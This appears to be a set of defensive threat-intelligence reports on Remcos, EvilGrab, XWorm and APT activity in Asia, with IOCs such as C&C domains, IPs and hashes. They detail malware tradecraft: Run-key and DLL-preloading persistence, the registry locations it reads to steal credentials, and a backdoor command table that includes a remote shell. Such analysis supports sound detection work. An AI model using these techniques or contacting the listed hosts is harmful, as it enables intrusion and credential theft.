– vlc.exe - Copy folder – vlc - Startup value – Remcos - Mutex – Grace-JFMZCP ## Recommendations Remcos RAT malware can cause major damage to an organization when deployed on a device of a highly valued employee. It is usually delivered via phishing email, targeting the specific person (known as spear phishing or whale phishing). There isn’t much that the user has to do in order to initiate the attack; it takes just one click – one human error – and this massive attack chain can be easily executed. To avoid becoming the next Remcos RAT victim, we recommend taking the following steps to mitigate your risk: 1. Educate employees on the need for email security and the risk of opening suspicious emails and attachments. 2. Run email security drills every few months to ensure that employees know what to look for in a suspicious email. 3. Create a process for employees to follow when they receive a suspicious email or link. 4. Do not open files with strange links or attachments. 5. Always double check the identity of the sender. 6. Deploy an advanced email security solution that prevents these malicious emails from reaching users’ inboxes. ## IOCs **Domains:** - solutionias.com - menz.ddns.net **URLs:** - hxxps://solutionias.com/bin/GH1.jpg - hxxps://solutionias.com/bin/GH2.jpg **Samples SHA-256:** - Faktura 9382022.vbs – 0f1f455812da4f4169d34b3c953c28d9e64681a1968251799f625874f272928b - GH2.jpg – 6f7d778233adbdebe66d157f655cb21d4bdf7aab69a9503d60e226231fcb28b1 - GH1.jpg – 01265bac08e6f515eb0f51f71ba02d1c529bc6728758a92c92b50fa25cb196f6 - Sneaky.dll – 5a0698525d8be66696cc4a7be1a93efb16d8ef11c48bc7319c57435c4acfebc8 - Packed Remcos.zip – 01b80319017fc7145f5bac41a773500720a8bd0380bc4821aabb0468f3daeea5 - Unpacked Remcos.exe – 945b5bfb70e33c495f39f731fd7b9772eafd27d1d8512eb5f08872229074c47b
# 2Q Report on Targeted Attack Campaigns ## Introduction Highly targeted attacks refer to a category of threats that pertain to intrusions by threat actors or attackers. These attackers aggressively pursue and compromise chosen targets in order to steal sensitive information. These are not conducted through separate attacks; rather, they comprise a series of attempts over time to get deeper into a target’s network. Each attempt may either succeed or fail, but the overall goal is to penetrate the target’s network and acquire information. Malware is typically used as an attack vector, but the real threat involves human operators who adapt, adjust, and improve their methods based on the victim’s defenses. Enterprises should consider targeted attacks a high-priority threat because of the considerable damage they incur. The human and systemic weaknesses that allow an attacker to compromise an organization can be minimized and mitigated with correct practices and solutions. However, these same weaknesses can never be fully resolved. Trend Micro monitors the targeted attack landscape in order to identify ongoing campaigns and provide additional threat intelligence useful for identifying the existence of these campaigns in an enterprise network. This quarterly report presents the targeted attack campaigns observed and mitigated by Trend Micro based on reported customer cases, as well as our own independently gathered data. ## Campaigns Observed in 2Q ### Targeted Attack Campaigns Profiling We encountered a variety of targeted campaigns in the second quarter of the year. These include the following: - **IXESHE**: The IXESHE campaign is known for targeting East Asian governments, electronics manufacturers, and telecommunications firms. We released a white paper discussing this campaign. IXESHE has been active since 2012. - **ELISE**: This recently discovered campaign also targets government agencies in the Asia Pacific region. It is called ELISE after certain strings found in its unpacked code. (We detect the malware used by this campaign as BKDR_ELISE.) - **ZEGOST**: This family of backdoors (aka HTTP Tunnel) is Chinese in origin and was used in attacks against Asian government organizations. - **BEEBUS/MUTTER**: This is a targeted campaign believed to be associated with the Comment Crew attacker group because of the use of encrypted/obfuscated HTML comments to hide their C&C transactions. - **TravNet**: This campaign made use of a malware family identified as NetTraveler based on the strings found in the malware code. The malware is detected as BKDR_TRAVLAR. ### Affected Industry Sectors Our data indicates that the majority of targeted attack victims are various government agencies. Targeted firms from the technology sector include telecommunication firms, internet service providers, and software companies. The financial services sector and the aerospace industry were also targeted this quarter. ### Affected Regions The targeted attacks that we analyzed were heavily concentrated in Asia, particularly Taiwan and Japan. ### Attachments Used In Targeted Attacks Based on our findings, the most common type of email attachment used in targeted attacks were file archives of various forms. When uncompressed, these archives typically contain the malicious payload itself, which the user may then run directly. Alternatively, they may also contain a .DOC file that contains exploit code. RTF files made up the second most common file type. Frequently, the .EXE files we see are made to appear as ordinary documents or folders using appropriately chosen icons. In addition, we also saw an increased use of files that make use of right-to-left override (RTLO) in Unicode. ### C&C Statistics We were also able to monitor the activity of various C&C servers related to targeted attacks. By volume of C&C server activity, the following countries ranked as follows: 1. Australia 32% 2. South Korea 15% 3. Germany 9% 4. Japan 7% 5. Italy 6% 6. Taiwan 5% 7. India 4% 8. United States 3% 9. Vietnam 2% 10. Netherlands 2% 11. Others 15% ## Feature: EvilGrab Campaign Targets Diplomatic Agencies In this report, we will provide a detailed analysis of the EvilGrab campaign. This campaign was first found targeting certain Asian and European governments. Its name is derived from its behavior of grabbing audio, video, and screenshots from affected machines. Currently, the malware used by EvilGrab belongs to one of three malware families: - BKDR_HGDER - BKDR_EVILOGE - BKDR_NVICM ### Targets Our research indicates that EvilGrab activity is most prevalent in China and Japan, although it is also present in other parts of the world. Government organizations were, by far, the most affected by EvilGrab. This geolocation is based on the IP addresses of the victims. Therefore, foreign institutions within China would be identified as coming from China; the same would hold true for all countries. EvilGrab was also found in the United States, Canada, France, Spain, and Australia, among others. 1. China 36% 2. Japan 18% 3. South Africa 3% 4. Thailand 2% 5. Canada 2% 6. Others 39% ### Attack Vectors Research indicates that EvilGrab is primarily distributed through spear-phishing emails with malicious attachments that exploit various vulnerabilities to run malicious code. Among the attachment types are: - Microsoft® Excel® spreadsheets (CVE-2012-0158 and CVE-2012-2543) - PDFs (CVE-2013-0640) - Microsoft® Word® documents (CVE-2012-0158) A .RAR file with a folder named thumbs.db was also seen containing malicious code. By using this name, the intention was to disguise itself as the Windows thumbnail cache. A shortcut file (.LNK) was also seen in the .RAR file, which used a folder icon to make users believe it was another folder. In reality, running the .LNK file executes the malware. In addition, the .RAR file contains a desktop.ini file in order to change the thumbs.db folder icon into the icon of the Windows thumbnail cache. ### Exploits, Payloads, and Decoy Documents The EvilGrab campaign’s use of exploits, payloads, and decoy documents is similar to the Taidoor campaign in 2012. The primary difference is that EvilGrab variants have multiple layers of shellcode. In addition, some variants copy the file name and use it as the decoy document file name. Other variants overwrite the exploit document with the contents of the decoy document. As noted above, some variants also use disguised folders and shortcuts and do not use exploits to run their code. ### DLL Preloading Using the Windows Shell and Fax Server DLL preloading is a vulnerability that has been documented for over three years. The EvilGrab campaign makes use of this vulnerability for its AutoRun routine. Whenever it is run, the Windows shell (explorer.exe) loads a component of the fax server in Windows, fxsst.dll. This is normally located in the System32 folder. Whenever an instance of explorer.exe is launched (i.e., at every system startup), the system searches for the said .DLL file and loads it. EvilGrab drops one of its .DLL components in the Windows folder, where explorer.exe is also located. The malicious .DLL (also named fxsst.dll) is loaded instead of the legitimate copy. It also serves as the loader of the main backdoor. While DLL preloading has been used by other malware in the past, it is less common to see it specifically target explorer.exe. Other malware families that use this vulnerability typically target executable files outside of Windows; EvilGrab targets a part of Windows itself. ### Other Autorun Behaviors In addition to the above behavior, EvilGrab also creates the following registry entry to enable its automatic execution at every system startup: ``` HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run UKey = “%Application Data%\360\Live360.exe” ``` The file %Application Data%\360\Live360.exe is a copy of one of the malware components. It also creates a shortcut under the Startup folder in the Start menu: - IEChecker.lnk - Target: “%UserProfile%\IEChecker.exe” –L - Icon: %Full path of Iexplorer.exe% (This uses the Internet Explorer icon and disguises itself as part of Internet Explorer.) The above file is also a copy of one of the malicious components. ### Stealth Operation EvilGrab has three primary components: one .EXE file and two .DLL files. The .EXE file acts as the installer for all of the EvilGrab components. One of the .DLL files serves as a loader for the other .DLL file, which is the main backdoor component. Some variants of EvilGrab delete the .EXE file after installation to cover its tracks more effectively. As noted earlier, the loader file is named fxsst.dll. However, examination of its header states that its actual file name is supposed to be svchost.dll. These components are also encrypted and saved in the registry. To add stealth to its backdoor routines, it uses a legitimate process context’s memory space to inject the main backdoor. By default, this backdoor injects itself into the svchost.exe or winlogon.exe process. It also checks if certain processes related to certain security products are running on the affected system. The specific processes targeted are: - avp.exe - klwtblfs.exe - starter.exe - wmifw.exe Other variants of this malware also check if other security products are present. It is not clear why EvilGrab specifically targets these products. However, it is possible that the attackers determined that targets for this campaign are likely running these products. ### Registry Storage EvilGrab stores its components in the following registry entries: ``` HKCU\Software\rar and/or HKLM\SOFTWARE\rar data = {Encrypted copy of the main backdoor DLL} s = {Encrypted copy of the loader DLL} e = {Encrypted string which points to the full path of the installer EXE} ``` ### Media Grabbing To capture video, EvilGrab creates a capture window with the class name of ESET. It uses the Sample Grabber filter (part of the DirectShow technology in Windows) to directly perform grabbing. It also uses Wave APIs to capture audio. ### User Credential Theft EvilGrab steals user credentials related to the following applications and/or protocols: - HTTP - HTTPMail - IMAP - Internet Explorer (IE) - Microsoft Outlook - MSN - POP3 - Protected Storage - SMTP - Windows Messaging EvilGrab steals these credentials by parsing the following registry keys: - HKCU\Software\Microsoft\Windows NT\CurrentVersion\WindowsMessagingSubsystem\Profiles - HKCU\Software\Microsoft\WindowsMessagingSubsystem\Profiles - HKCU\Software\Microsoft\Internet Account Manager\Accounts - HKCU\Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts It queries the above keys for related values that correspond to the applications and protocols listed earlier. The values are then decrypted using the system library pstor ec.dll. It also steals login credentials from IE autocomplete entries. It does this by first parsing the index.dat files in the IE History folder. It then collects autocomplete entries from the following registry key: - HKCU\Software\Microsoft\Internet Explorer\IntelliForms\Storage2 It then initiates a brute force attack on encrypted credentials using the CryptUnprotectData API. However, it will only try to steal passwords from IE’s password-protected sites and MSN Explorer Signup if kav.exe (related to a security product) is not running in the system. ### Tencent QQ Memory Reading If the active window is Tencent QQ (specifically, QQ2009 through QQ2012), EvilGrab will attempt to steal information by directly reading the process’s memory and checking if the class name of the focused window is not named “EDIT.” The contents of the process’s memory are then saved onto the system’s hard drive as %UserProfile%\users.bin. It is then sent back to the backdoor’s C&C server. The file on the hard drive is encrypted; specifically, the data is XORed with the key 0x66. ### Key Logging EvilGrab also possesses keylogging capabilities. The logged keystrokes are then sent back to the C&C and saved to %UserProfile%\users.bin. The file on the hard drive is encrypted; specifically, the data is XORed with the key 0x66. ### Command & Control Servers Each backdoor has one to three C&C servers in its code. Some of the C&C servers that we have seen from our accumulated data are as follows: - 112.121.182.150 - 113.10.246.46 - 113.10.190.55 - 202.130.112.231 - micoosofts.com - qtds1979.3322.org - qtds1979.gicp.net - server1.micoosofts.com - sxl1979.gicp.net - webmonder.gicp.net - webposter.gicp.net - www.yahooip.net - www.yahooprotect.com - www.yahooprotect.net - yacooll.com - yahooip.net - yahooprotect.com ### Backdoor Activity To start its connection to its C&C server, the backdoor component will first send 5 bytes (\x01\x00\x00\x00\x33). The C&C will reply if it accepts the connection. The backdoor then replies with a beacon message, the contents of which are as follows: - Size of internal buffer: <%d> = xFFC (4092) - Hardcoded 0xA0: <%c> = xA0 - Backdoor identifier 1: <%s> = "RB0318" - Host IP: <%s> = "111.222.123.132" - Host port: <%d> = 432 (1074.) - OS version: <%s> = "OSVERSION" - Hostname: <%s> = "HOSTNAME" - User name: <%s> = "USERNAME" - Camera device detected: <%s> = "No" - Date time: <%s> = "0Ìì0Сʱ0•Ö0Ãë" - Presence of removable drive: <%s> = "No" - Backdoor identifier 2: <%s> = "V2010-v24" - Process ID of the process where the backdoor is injected: <%d> = 21C (540.) - Hardcoded 0x00: <%d> = 0 Either backdoor identifier 1 or backdoor identifier 2 acts as the campaign code or marker for EvilGrab campaigns, which is recognizable by the C&C server and/or attacker. Some of the identifiers we saw in backdoor identifier 1 are: - 006 - 007 - 0401 - 072002 - 3k-Ja-0606 - 3k-jp01 - 4k-lyt25 - 88j - e-0924 - LJ0626 - RB0318 Some of the identifiers seen in our accumulated data in backdoor identifier 2 are as follows: - V2010-v16 - V2010-v24 We noted a correlation between the MZ/PE headers of variants and the strings in backdoor identifier 2. Variants with a V2010-v24 identifier have a proper MZ/PE header; variants with a V2010-v16 header have portions of their header overwritten with JPEG strings. These variants require a loader component to load them into memory in order to be executed. Below is a sample packet sent at the beginning of the connection: ### Backdoor Commands EvilGrab variants possess a wide variety of possible backdoor commands. The table below lists its possible commands: | Command code | Description | |--------------|-------------| | x82 | Enumerate drives and their drive types | | x83 | File listing with file's last modification date, file attribute and file size | | x85 | Execute downloaded file | | x86 | Set file pointer of specific file | | x87 | Close file handles | | x88 | Load .DLL | | x89 | Create directory | | x8A | Delete file | | x8B | Delete directory tree | | x8C | Get file time stamps of a specific file | | x8E | Either runs an executable, loads a DLL or open a file | | x8F | Move/Rename a file | | x90 | Steal login credentials | | x92 | Create remote shell | | x93 | Write to file | | x94 | Close thread that created remote shell | | x99 | Send message to a certain window | | x9A - x9B | Related to change a specific window's show state | | x9C | Change window text of certain window | | x9D, x9F | Synthesize key strokes (i.e. right menu, shift) | | xB0 | Triggers sending of accumulated stolen information | | xB1 | Modify registry entry value | | xB2 | Delete a value from registry | | xB4 | Modify registry | | xB5 | Create registry entry | | xB7 | Delete registry key | | xB9 | Get service listing info (service name, service type, service status, service setting) | | xBA | Change service status | | xBB | Change optional parameters of certain services | | xBC | Create service | | xBD | Get TCP & UDP network connections | | xBE | Get process listing | | xBF | Terminate process | | xC0 | Get CPU info, Windows and System32 folder, hostname, user name, clipboard contents | | xC1 | Delete its files and registries from the system (uninstall itself) | | xE2 - xE3 | Related to stealing desktop screenshots | | xE5 | Get desktop screenshot | | xE6 | Get file listing | | xE9 | Connect to other network | | xEB | Set mouse event | | xEC | Start capture window for media grabbing | | xEE | Media capture related | | xF0 | Start audio recording | | xF2 | Search for certain files and steal file content | These capabilities can be used for both lateral movement within a compromised organization and to steal information. EvilGrab steals internal user names and passwords as well as logs keystrokes. Credentials stolen this way can be used to move within the confines of the organization’s network. EvilGrab possesses a wide variety of information theft capabilities. It can grab audio and video files directly from devices attached to the system (i.e., microphone and camera). In addition, EvilGrab can upload files from the affected system to remote servers. EvilGrab possesses a full range of capabilities that is expected in malware used in targeted attacks against organizations. ## Trend Micro Recommendations Targeted attacks pose a challenge to traditional signature-based security solutions. To deal with these types of threats, employ solutions that include network monitoring to detect and analyze incoming threats, as well as any outgoing communication with attacking parties. Products like Trend Micro™ Deep Discovery™ are capable of mitigating the risks from these threats. One component of Deep Discovery, the Deep Discovery Inspector, provides network threat detection, custom sandboxing, and real-time analysis and reporting. The second component, Deep Discovery Advisor, provides sandbox analysis of known and unknown threats that augments the capabilities of existing products like endpoint solutions and email/web gateways. It also provides visibility to network-wide security events. The capabilities provided by solutions like Deep Discovery are necessary to provide a unified, comprehensive view of the threats an organization faces. This information can then be used by an organization to create appropriate and proportional responses to properly protect an organization’s network. ## References 1. Sancho, David; Dela Torre, Jessa; Bakuei, Matsukawa; Villeneuve, Nart; and McArdle, Robert. (2013). Trend Micro Incorporated Research Paper. “IXESHE: An APT Campaign.” Last accessed August 30, 2013. 2. Trend Micro Incorporated. (2013). Trend Micro Incorporated Research Paper “The Taidoor Campaign: An In-Depth Analysis.” Last accessed August 30, 2013. 3. Security TechCenter. (November 13, 2012). Microsoft Security Advisory. “Microsoft Security Advisory (2269637): Insecure Library Loading Could Allow Remote Code Execution” Last accessed August 30, 2013. 4. Microsoft. (2013). Windows Dev Center - Desktop. “Using the Sample Grabber.” Last accessed August 30, 2013. 5. Microsoft. (2013). Developer Network. “Recording and Playing Sound with the Waveform Audio Interface.” Last accessed August 30, 2013.
# EvilCoder Project: Selling Multiple Dangerous Tools Online **August 19, 2022** ## Sophisticated XWorm RAT with Ransomware and HVNC Attack Capabilities During a routine threat-hunting exercise, Cyble research labs discovered a dark web post where a malware developer was advertising a powerful Windows RAT. This post redirected us to the website of the malware developer, where multiple malicious tools are being sold. The developer is selling tools to create malware, hide existing malware, crypto money grabber PowerShell scripts, etc. We have mentioned all the tools posted by the malware developer and the possible impact of these tools on victim systems. The following table shows these tools and their corresponding functionalities. | Tool | Price | Description | |----------------------------|-------|-------------| | Hidden Malware Builder v2.0/V4.0 | $45 | Hidden Malware Builder is a .NET-based malware builder tool that requires .NET Framework 4. This tool creates binary files with capabilities such as hiding C&C server from other processes, start-up, scheduled tasks, and hard drive, running as Administrator permanently, merging with another file with the AES Algorithm, and includes anti-analysis techniques. | | Crypto Money Grabber PowerShell Script | $40 | The malware developer sells PowerShell script to steal cryptocurrency from the victims’ system. | | Multi Downloader Builder V2.0 | $30 | Download and execute multiple files from URL (FUD 100%) (Output: 7KB). | | Hidden CPLApplet Builder V2.0 | $80 | The developer has created a tool that can build malicious CPLApplet programs with features such as injection in explorer.exe, hidden schtasks, WDExclusion, and anti-analysis. | | UAC Bypasser Builder V2.0 | $50 | UAC Bypasser builder tool bypasses the UAC check of the operating system for the given file, supporting all files and including features like RunAs-Loop, Cmstp-Bypass, WDExclusion, anti-analysis, and TaskScheduler. | | XBinder V2.0 | $80 | XBinder tool is a Remote Access Trojan (RAT) builder and management tool with features such as Runonce, hidden, SetWorkPath, REG [Start-up], WDExclusion, UAC [Normal-Bypass], and more. | | XWorm V2.2 | $150 | This version of the malware builder tool creates client binaries with RAT and ransomware capabilities, including functionalities like monitoring, running files, DDoS attack, keylogging, and more. | We searched for EvilCoder Project samples in the wild and identified a few active instances of XWorm, indicating that XWorm is a more prevalent and sophisticated variant. The malware is a .NET compiled binary, using multiple persistence and defense evasion techniques. The malicious binary can drop multiple malicious payloads at various system locations, can add and modify registry entries, and can execute commands. ## Technical Analysis XWorm is a .NET binary whose size is 45.5 KB. Upon execution, the malware sleeps for one second and performs various checks such as checking for a mutex, detecting virtual machines, emulators, debuggers, sandbox environments, and Anyrun. If any of these instances are present, the malware terminates itself. The malware enumerates the installed programs in the user's machine and checks for strings, VMWare, and VirtualBox. If these are present, the malware terminates itself. The malware uses the tick count of the machine to detect emulators and calls the CheckRemoteDebuggerPresent() method to identify the debugger’s presence. It can also detect the sandbox environment if “SbieDll.dll” is present in the system. To establish persistence, the malware drops itself into the start-up folder, copies itself into the “AppData” folder, and creates a scheduled task entry. It also creates an autorun entry in the registry to ensure the malware executes whenever the system restarts. After establishing persistence, the malware initiates communication with the C&C server, creating a new thread that collects and sends system details to the C&C domain system6458[.]ddns[.]net on Port 6666. Exfiltrated details include processor count, UserName, MachineName, OSVersion, malware version, date of malware creation, administrative privileges, webcam details, and antivirus programs installed in the system. All important information such as C&C, encryption key, filename, and mutex name is stored in a public class, “Settings.” After the initial communication, the malware waits for instructions from the C&C server and can perform multiple tasks such as keylogging, screen capture, auto-update, self-destructing, running scripts, and ransomware operations. The malware has a routine Read(), which receives AES encrypted commands from the C&C, which are then decrypted and used to perform associated operations. ## Conclusion This post showcases that even a malware developer with minimum or no responsibility can develop malicious programs and sell them to various forums for monetary gains. To get more customers, the malware developers provide multiple highly impactful and dangerous features such as ransomware and HVNC to threat actors. We will continue monitoring the latest threat actors and trends across the surface, deep, and dark web and keep our readers informed. ## Our Recommendations We have listed some essential cybersecurity best practices that create the first line of control against attackers. We recommend that our readers follow the best practices given below: ### How to prevent malware infection? - Download and install software only from official app stores like Play Store or the iOS App Store. - Use a reputed antivirus and internet security software package on your connected devices, such as PCs, laptops, and mobile devices. - Use strong passwords and enforce multi-factor authentication wherever possible. - Enable biometric security features such as fingerprint or facial recognition for unlocking the mobile device where possible. - Be wary of opening any links received via SMS or emails delivered to your phone. - Ensure that Google Play Protect is enabled on Android devices. - Be careful while enabling any permissions. - Keep your devices, operating systems, and applications updated. ### How to identify whether you are infected? - Regularly check the Mobile/Wi-Fi data usage of applications installed on mobile devices. - Keep an eye on the alerts provided by Antiviruses and Android OS and take necessary actions accordingly. ## MITRE ATT&CK® Techniques | Tactic | Technique ID | Technique Name | |---------------------------|--------------|-----------------| | Execution | T1059.001 | Bypasses PowerShell execution policy | | Persistence | T1547.001 | Registry Run Keys / Startup Folder | | Privilege Escalation | T1055 | Process Injection | | Defense Evasion | T1027.003 | Obfuscated Files or Information | | Defense Evasion | T1036.005 | Masquerading – Drops PE files with benign system names | | Discovery | T1082 | System Information Discovery | | Command and Control | T1071.001 | Application Layer Protocol | ## Indicators of Compromise (IOCs) | Indicators | Indicator Type | Description | |------------|----------------|-------------| | 15f54e2562a9c6f51367327e9f19c11282f21a2de6687f73f0483e6fe3164973 | SHA256 | XWorm.exe | | 366133968ea8bef322a22a977da1b9c7aaab9559 | SHA1 | | | 56b84fe8827326c715996ec14e2d6f05 | MD5 | | | 8cfefc291d9088ef0b3ab7dd59d8ff672e73d333c8d18bd1dff4c7695ae8af83 | SHA256 | XWorm.exe | | e8c6d68e67d853180d36116e3ba27e4f12346dc2 | SHA1 | | | cd76badf66246e0424954805222e4f58 | MD5 | | | 096e33b9b0b4f843a7ea0259f75b4370f00ab90f3807eb89d5f0117da762900d | SHA256 | XWorm.exe | | a7e95c1d51a278b59097524a14d042257f3e2801 | SHA1 | | | a29c3748c9361f9fe19b87d3358cb46d | MD5 | | | 8f9fff88c0c636c80ca0a4cfa37d3fb620289579a1ecae9ba1d3881235b482ee | SHA256 | XWorm.exe | | 93c2c2c80274ed4c663423c596d0648e8b548ec2 | SHA1 | | | 989b8118ff0e8e72214253e161a9887f | MD5 | | | b9a9ae029ca542aadea0b384e4cfb50611d1a92c4570db5ddc5e362c4ebe41b4 | SHA256 | XWorm.exe | | fdce6ef81ccf3d697f20c020020bbb6b51f8b1f1 | SHA1 | | | e38e59e6d534262dd55a3b912bf169cc | MD5 | | | 64519b4e63dbedc44149564f3d472c720fa3c6a87c9ad4f07d88d7fd1914f5b9 | SHA256 | XWorm.exe | | 2edbb78ec7c8f6a561eb30fd43c31841d74217df | SHA1 | | | b97cc4a173bc566365e0ab4128f2181a | MD5 | | | 8a399e51bdcd4b8d0a041236e80b3094987a80674bda839351fef1585c8c921b | SHA256 | XWorm.exe | | af6bd2d2732269d0b6bbb78006e4980511ac8546 | SHA1 | | | 744a85f5ddef7c029f2f9ed816ec66ef | MD5 | | | b09bf46468d9ed8b1957246f4cf7fd15679212fe9e5df7df6101179e0594cae6 | SHA256 | XWorm.exe | | 72af980aaaa635bc4425b59ef523f8088b3874d5 | SHA1 | | | 4b8235bdd494bf5b762528dd96931072 | MD5 | | | b327ec6f6dba10eb77cf47e8486059da63d1d77c3206a8a5ba381b2f1e621651 | SHA256 | XBinder | | be06e7a5bff1bcd1fd27ff6789ae87513cd9d4de | SHA1 | Builder | | fed104dae34e598ebc7fa681a39f4fcd | MD5 | | | d0b9f3b7f87c8fda4dae8ec3606b7468b0a2d5d32b6b889f983b4ed15a8d2076 | SHA256 | XBinder | | 89e68bfb7e139343d838efc8d584a1a76256bc84 | SHA1 | Builder | | 28347b4d82e5b28655e091dd35d218bf | MD5 | | | cbc87f41023b27b31a0eeac9818fa06db2914b5cc7c18c9392944ddc721b4efb | SHA256 | XBinder | | 9bbb4afa7dd21e37f09ce9bb81ff7ab961a20f2a | SHA1 | Builder | | e22cdc1cd9d43143e45cc1260a87e197 | MD5 | | | f89b62d1cf8d2bfd83be841187502318817bc58725a5409c1c2fb6c0c7b14959 | SHA256 | XBinder | | 716bf966c68ac8b120b8029a294e9c5d9d21f637 | SHA1 | Client | | 8ae59924803c3ea7b8da29786bc4f332 | MD5 | | | 83d59c2eb05891dcd30973ebe5c04aab99bd9371323522e9d968f67a3423d13d | SHA256 | XBinder | | 25b7a76554add5b5ed85e9caed7c0ab67b8cb118 | SHA1 | Client | | ab67fe7c24d9c075ef7567d796cc5544 | MD5 | | | d9979fead904eb5fc9f0c0f99c6551b05940f94d001411d611ad8c95b3058769 | SHA256 | XBinder | | 2ee39858f4eabf1e469e1934277e61fe6dd5794a | SHA1 | Client | | 93ec63f85938d09a4161b8569014adee | MD5 | | | 107ac41ba6ecd2025027721dc98307bd2859d473b1eedabc666e7dc12f537f77 | SHA256 | XBinder | | 2249bbf4bbfcc7aec0d6e35803074433c4aa6ae8 | SHA1 | Client | | 651103da17aae5c2e3fc8f9ab45140d2 | MD5 | | | 6cf9c275f41580a31b8869f9173589705b7ce998dfff58f735f66b97d89f08fd | SHA256 | XBinder | | 046c0de06a918ed6b1b6a232e276db55ae5b48ee | SHA1 | Client | | 7ae4668d2e693daa13a81c9cbeaeb31f | MD5 | | | 40d68523748f6eaf765970a40458faccbe84ef5dff7acbdaf29ac5a69d7cae6f | SHA256 | XBinder | | a6ff2293ae5bfd10dedb93bfbb12b1ec3faabfe0 | SHA1 | Client | | 594472ed0352490ab2a8f89e68d30e08 | MD5 | | | 81a3baf389888e4d554e74975fe15937a502c3b9d8c494b2f0ce4c25deb75b45 | SHA256 | XBinder | | d76ac6a11653c3cf7f46cb597bd8c38e5a78e124 | SHA1 | Client | | 1263b78103ae7586a1c982e5db37e1c7 | MD5 | | | 4e019e68320099ff0e80a7598053d5968ee8ed91c30cc794a47f9f2f0f3f45de | SHA256 | XBinder | | 41f0699c96e58aadc78d0c50eaf699d9f566698d | SHA1 | Client | | 8cdaf4513877c0d4ffa3bbfabb3d44c5 | MD5 | | | 0aae80e6ca6cbdc0a79dbdf30767182edd94ed65bc378eb6e39d2b68fd78b8e0 | SHA256 | XBinder | | 6b16d72f6cae6d6ee7c9ed4d2a5a044effd3ab8f | SHA1 | Client | | f3170f958826b128145589fc21ef7f32 | MD5 | | | 0d875a09bf7fb5088aa21f26110db96d1963e743535fd16f0ceb3d16683c2921 | SHA256 | XBinder | | a00b7c3c250c6546ac0d4f349379d943432ef573 | SHA1 | Client | | f2341a3d23188aefb43735b1fc68f7c8 | MD5 | | | 21bcba3634c4ad91993b5033179a22b77d1d8ed1da1d1cdd506f8d8a03bc0251 | SHA256 | XBinder | | 2f7801f2e18aa4abe2bc7964ea4626f5949feb2f | SHA1 | Client | | ba27b6fe77a27d890b02e9901a1a0335 | MD5 | | | edab4840b84e16587b62b7133bb7fa030d21fcd6658c976b2b9ececa2453ec2b | SHA256 | XBinder | | 42a3c7e173f7951055ccb226cdc768a0e70ddeb3 | SHA1 | Client | | a2431ec170f3cd0d1cd8dc1808a9d967 | MD5 | |
# Special Report: Southeast Asia: An Evolving Cyber Threat Landscape ## Introduction While many of the headline-grabbing cyber security breaches of 2014 involved major U.S. companies, Southeast Asia quietly dealt with its share of cyber attacks. Like the U.S., companies in this region face a complex threat landscape filled with advanced cyber attackers intent on stealing corporate data and state secrets. Advanced persistent threat (APT) actors are one of the biggest challenges for the region. Leading companies that do business in the energy, telecommunications, high-tech, finance, and transportation sectors are targets of APT groups. This report describes malware detected at commercial and government entities across Singapore, Malaysia, Thailand, Vietnam, Philippines, Indonesia, and Brunei. It also discusses advanced threat groups behind many of these attacks and their unique motives in this region. ## Key Findings ### Detecting Malware Across Southeast Asia From July to December 2014, FireEye products helped 29 percent of our customers in Southeast Asia detect malware used by APT groups and other actors targeting their networks. ### Cyber Threats to Key Industries Southeast Asian companies regularly attract the interest of cyber spies and criminals looking to steal information about the region’s growing industry sectors—energy, telecommunications, high-tech, transportation, and finance. ### Cyber Threats to Governments Territorial disputes in the South China Sea drive cyber espionage activity in Southeast Asia. Both government and private industries are targets of threat actors seeking to steal information in these disputes. ## Detecting Targeted Threats in Southeast Asia and Beyond From July to December 2014, FireEye products helped 29 percent of our customers in Southeast Asia detect malware used by APT groups and other attackers targeting their networks. When factoring in the rest of our Asia-Pacific clients, that percentage jumps to 37 percent—significantly higher than the global average of 27 percent. ### Percentage of FireEye Customers’ Targeted Malware Alerts (July - December 2014) - Hong Kong: 60% - Taiwan: 54% - South Korea: 52% - Asia Pacific Region: 37% - India: 31% - Southeast Asia: 29% - Australia: 27% - Global: 27% - Japan: 26% - Thailand: 23% - Singapore: 23% ### Malware Hitting Southeast Asian Targets Lecna, Mirage, CannonFodder, and Leouncia were among the most frequently detected malware families. ### APT and Targeted Malware Detections (July - December 2014: Southeast Asia) - Lecna: 27% - Gh0STRAT: 14% - Mirage: 7% - Page: 7% - Downloader.Pnaip: 6% - CannonFodder: 6% - Leouncia: 5% - Kaba (aka SOGU): 5% - LV (aka NJRAT): 6% - Houdini: 5% - XtremeRAT: 4% - NetEagle: 4% - 1qaz: 4% ### Targeted Malware, Industry Breakdown More than half of the targeted malware that FireEye detected in Southeast Asia came from government and telecommunications sites. ### APT and Targeted Malware Detections by Industry in Southeast Asia - Government: 27% - Telecom: 24% - Financial services: 16% - High-tech: 10% - Transportation: 10% - Energy/utilities: 7% - Education: 6% ### Detecting Non-Targeted Threats In addition to the targeted and APT malware, organizations in the region frequently detect other threats, including banking Trojans, botnets, and other types of cyber crime. Regionally, our customers most frequently detect Zeus (a banking Trojan) and Sality (a multi-featured Trojan) on their networks. ## Southeast Asia’s Leading Industry Sectors Attract APT Actors We observe APT groups routinely targeting companies in Southeast Asia to steal intellectual property (IP). We believe that once stolen, this IP often makes its way to Chinese companies, allowing them to bypass years of research and development costs. These industry sectors appear to be most heavily targeted by APT groups: - Energy - Telecommunications - High-tech - Transportation - Financial services ### Sector Breakdown **Energy**: APT groups have long targeted U.S. and multinational corporations with strong offerings in green technology and other clean energy production. **Telecommunications**: APT5 has targeted organizations and personnel based in Southeast Asia, focusing on telecommunications and technology companies. **High-Tech**: APT5 has targeted or breached organizations across multiple industries, especially telecommunications and technology companies. **Transportation**: APT groups likely target the region’s transportation companies to monitor the progress of high-profile projects. **Financial Services**: Banks in Southeast Asia face a double threat from cybercriminals and advanced threat actors seeking sensitive financial information. ## Regional Governments and Militaries: In APT Groups’ Crosshairs The APT groups that we track actively target governments and militaries for inside information into negotiations and political issues. APT groups that target governments in the region are frequently interested in topics related to the South China Sea. ### Threat Groups Target Southeast Asian Governments and Militaries over Territorial Claims Southeast Asian government and military entities have been targeted several times in efforts to obtain intelligence related to territorial disputes. ### APT Groups Gather Political Intelligence In August 2014, an APT group appeared to target intelligence related to a Southeast Asia government. The threat actors sent a spear-phishing email that referenced the country’s leadership and contained a document with sections extracted from related news articles. ## Conclusion Public and private organizations in the Southeast Asian region are prime targets for advanced threat groups. The data is clear: targeted threat actors are focused on getting into the networks of and stealing from fast-growing industries, as well as from organizations involved in territorial claims over the South China Sea. State-sponsored threat groups will continue to target Southeast Asian governments and companies. ## 